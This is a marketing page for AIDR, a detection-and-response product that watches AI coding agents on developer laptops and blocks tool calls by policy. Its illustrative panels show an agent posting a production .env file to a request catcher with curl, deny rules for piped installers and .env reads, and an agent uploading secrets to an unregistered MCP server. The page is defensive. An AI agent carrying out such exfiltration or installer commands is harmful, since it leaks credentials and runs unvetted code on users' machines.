AI Detection & Response for the agents writing your code.

AIDR sees what coding agents do on developer machines, stops the tool calls your policy forbids, and gives your security team the evidence to act on everything else.

Book a demo Read the field guide
Before each tool call, in real time After each session, in the background Coding agentwants to run a tool PreToolUse hookaidr-agent, on the laptop Your policyfirst matching rule decides Deniedreason shown to the agent No objectionagent’s own prompts apply Live decisionsevery deny, recorded Session transcriptshipped by aidr-agent Redactsecrets out first Rulesevery session, <5 ms Triageone fast model call Reasoningonly on escalation Alertseverity and evidence
Two paths, one policy. Tool calls are checked live, before they run. Whole sessions are reviewed in the background, after.

Detect

Every session reviewed. Only the risky ones reasoned about.

Three tiers keep detection fast and affordable: deterministic rules on everything, a quick model triage on every session, and a deeper reasoning pass only where triage escalates.

  • Secrets and personal data are redacted before any model sees a transcript
  • Each verdict names the technique from a 17-technique threat framework
  • Every conclusion cites the transcript lines it’s based on
  • Bring your own OpenAI or Gemini key stored encrypted for your tenant
Session transcriptClaude Code
  1. user: tidy up the deploy script and push
  2. assistant: Reading deploy.sh first.
  3. Bash: cat .env.production
  4. result: DB_PASSWORD=[REDACTED]
  5. Bash: curl -d @.env.production webhook.site/…
  6. assistant: Done, changes pushed.
Likely credential exfiltration

Read a production env file, then posted it to a request catcher.

High severityCites lines 14–16Reasoning tier

Illustrative example.

Respond

Stop the call, not the developer.

Before Claude Code or Codex runs a tool, its hook asks your policy. A deny stops that one call and tells the agent why. Everything else carries on.

  • Rules match on the tool, its arguments, the file path and the project
  • AIDR only ever denies. It never approves on anyone’s behalf, so the agent’s own permission prompts still apply
  • Fail-open by design: if the platform can’t answer within 3 seconds, the call goes ahead
  • Dry-run a rule against a sample call before you save it
  • New alerts go out as HMAC-signed webhooks
Live decisionsLive
TimeToolTargetDecision
14:02:11Read.envDenied: No .env reads
14:02:03Bashcurl get.sh | shDenied: No piped installers
14:01:52Bashgit push --forceDenied: No force pushes
14:01:40Edit~/.ssh/configDenied: Protect SSH config

Illustrative example.

Investigate

From alert to answer without leaving the console.

Alerts arrive with a severity, a priority and the evidence behind them. Group related ones into a case, write down what you found, and close it with a verdict.

  • Severity weighs confidence, tactic and asset, mapped to P0–P3 response targets
  • Mark each alert true positive, false positive, benign or inconclusive
  • Re-run analysis on a session after you change a rule or a model
  • Reveal a redacted value when you must: analysts only, a reason is required, and every reveal is audited
AlertOpen
HighP1ADR.T0012

Unvetted MCP server called

An agent on dev-laptop-14 called a tool on an MCP server that isn’t in your registry.

mcp__notes-sync__upload_file(path="~/work/api/.env")
True positiveFalse positiveBenignInconclusive
Added to case “Unreviewed MCP servers on laptops”

Illustrative example.

Govern

Know every agent before you write a single rule.

The inventory shows which assistants run on which machines and which MCP servers they talk to, so your policy starts from what’s actually there.

  • Agents and MCP servers per machine, with a risk level for each server
  • Configuration drift is recorded when a new MCP server or hook appears
  • Every rule change lands in the audit log
  • Each tenant’s data is isolated at the database layer
Inventory52 machines
  • Claude Code38 machinesAgent
  • Codex12 machinesAgent
  • Cursor9 machinesAgent
  • github31 machinesLow risk
  • notes-sync2 machinesNot in registry

Illustrative example.

One language for agent threats.

Every verdict maps to a shared framework of 5 tactics and 17 techniques, so rules, models and analysts describe an incident the same way.

Initial compromise

6 techniques

  • Indirect prompt injection
  • Tool rug pull
  • Code interpreter abuse
  • and 3 more

Permission abuse

2 techniques

  • Excessive tool permissions
  • Agent identity spoofing

Security control bypass

3 techniques

  • Tool shadowing
  • Tool hallucination
  • Agent collusion

Reasoning and data manipulation

4 techniques

  • Unvetted MCP servers
  • Semantic data poisoning
  • Long-term goal hijacking
  • Temporal data attacks

Operational impact

2 techniques

  • Resource exhaustion
  • Model-layer denial of service

Based on Uber’s open-source Agentic AI Detection and Response framework. Read every technique

Next step

Walk through it with us.

Bring your agents, your repositories and the actions that worry you. We’ll show you the policy that stops them.

Book a demo

Learn the threats.

The field guide covers what AIDR is, every technique in the framework and what the built-in rules catch.

Read the field guide

Already a customer?

Rules, live decisions, alerts and session reviews for your tenant are in the console.

Sign in